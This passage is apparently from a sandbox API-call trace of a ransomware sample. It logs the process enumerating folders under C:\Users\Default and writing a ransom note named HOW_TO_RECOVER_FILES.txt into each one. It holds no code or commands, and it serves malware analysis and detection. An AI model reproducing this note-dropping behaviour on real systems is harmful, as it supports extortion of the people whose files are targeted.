"c:\\users\\default\\favorites\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0157.104] GetFileType (hFile=0x80c) returned 0x1 [0157.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0157.104] GetFileType (hFile=0x80c) returned 0x1 [0157.105] WriteFile (in: hFile=0x80c, lpBuffer=0x34cb190*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x34cb190*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.105] CloseHandle (hObject=0x80c) returned 1 [0157.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.106] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Links", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Links", lpFilePart=0x0) returned 0x16 [0157.106] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.106] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.106] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0157.106] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0157.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0157.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.106] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Links", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Links", lpFilePart=0x0) returned 0x16 [0157.107] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.107] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.107] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fb994f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0157.107] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0157.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0157.107] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Links\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Links\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x2f [0157.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0157.107] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\links\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0157.183] GetFileType (hFile=0x80c) returned 0x1 [0157.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0157.183] GetFileType (hFile=0x80c) returned 0x1 [0157.184] WriteFile (in: hFile=0x80c, lpBuffer=0x33b85a0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x33b85a0*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.184] CloseHandle (hObject=0x80c) returned 1 [0157.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.185] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Local Settings", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Local Settings", lpFilePart=0x0) returned 0x1f [0157.185] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0157.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed950) returned 1 [0157.187] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Local Settings\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Local Settings\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x38 [0157.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0157.187] CreateFileW (lpFileName="C:\\Users\\Default\\Local Settings\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\local settings\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0157.187] GetFileType (hFile=0x80c) returned 0x1 [0157.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0157.188] GetFileType (hFile=0x80c) returned 0x1 [0157.188] WriteFile (in: hFile=0x80c, lpBuffer=0x33c8ba0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x33c8ba0*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.189] CloseHandle (hObject=0x80c) returned 1 [0157.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.189] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Music", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Music", lpFilePart=0x0) returned 0x16 [0157.189] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4b51dc4a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.189] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbaa63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4b51dc4a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.190] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b51dc4a, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x4b51dc4a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x59d84b50, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0157.190] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0157.190] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0157.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0157.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.190] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Music", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Music", lpFilePart=0x0) returned 0x16 [0157.190] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x4b51dc4a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4b51dc4a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.190] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x4b51dc4a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4b51dc4a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.190] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b51dc4a, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x4b51dc4a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x59d84b50, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0157.191] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b51dc4a, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x4b51dc4a, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x59d84b50, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0157.191] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0157.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0157.191] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Music\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Music\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x2f [0157.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0157.191] CreateFileW (lpFileName="C:\\Users\\Default\\Music\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\music\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0157.192] GetFileType (hFile=0x80c) returned 0x1 [0157.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0157.192] GetFileType (hFile=0x80c) returned 0x1 [0157.192] WriteFile (in: hFile=0x80c, lpBuffer=0x33d9b28*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x33d9b28*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.193] CloseHandle (hObject=0x80c) returned 1 [0157.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.193] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\My Documents", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\My Documents", lpFilePart=0x0) returned 0x1d [0157.193] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0157.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed950) returned 1 [0157.195] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\My Documents\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\My Documents\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x36 [0157.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0157.195] CreateFileW (lpFileName="C:\\Users\\Default\\My Documents\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\my documents\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0157.196] GetFileType (hFile=0x80c) returned 0x1 [0157.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0157.196] GetFileType (hFile=0x80c) returned 0x1 [0157.197] WriteFile (in: hFile=0x80c, lpBuffer=0x33ea108*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x33ea108*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.198] CloseHandle (hObject=0x80c) returned 1 [0157.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.198] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NetHood", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NetHood", lpFilePart=0x0) returned 0x18 [0157.198] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0157.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed950) returned 1 [0157.200] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NetHood\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\NetHood\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x31 [0157.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0157.200] CreateFileW (lpFileName="C:\\Users\\Default\\NetHood\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\nethood\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0157.326] GetFileType (hFile=0x7f8) returned 0x1 [0157.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0157.326] GetFileType (hFile=0x7f8) returned 0x1 [0157.327] WriteFile (in: hFile=0x7f8, lpBuffer=0x34d3618*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x34d3618*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.328] CloseHandle (hObject=0x7f8) returned 1 [0157.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.328] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Pictures", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Pictures", lpFilePart=0x0) returned 0x19 [0157.328] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbafc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4b543ef1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.328] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbafc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4b543ef1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.328] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b543ef1, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x4b543ef1, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x59d84b50, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0157.328] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0157.329] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0157.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0157.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0157.329] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Pictures", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Pictures", lpFilePart=0x0) returned 0x19 [0157.329] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x4b543ef1, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4b543ef1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.329] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x4b543ef1, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x4b543ef1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.329] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b543ef1, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x4b543ef1, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x59d84b50, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0157.329] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b543ef1, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x4b543ef1, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x59d84b50, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0157.329] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0157.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0157.330] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Pictures\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Pictures\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x32 [0157.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0157.330] CreateFileW (lpFileName="C:\\Users\\Default\\Pictures\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\default\\pictures\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0157.331] GetFileType (hFile=0x7f8) returned 0x1 [0157.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0157.331] GetFileType (hFile=0x7f8) returned 0x1 [0157.331] WriteFile (in: hFile=0x7f8, lpBuffer=0x34e9758*, 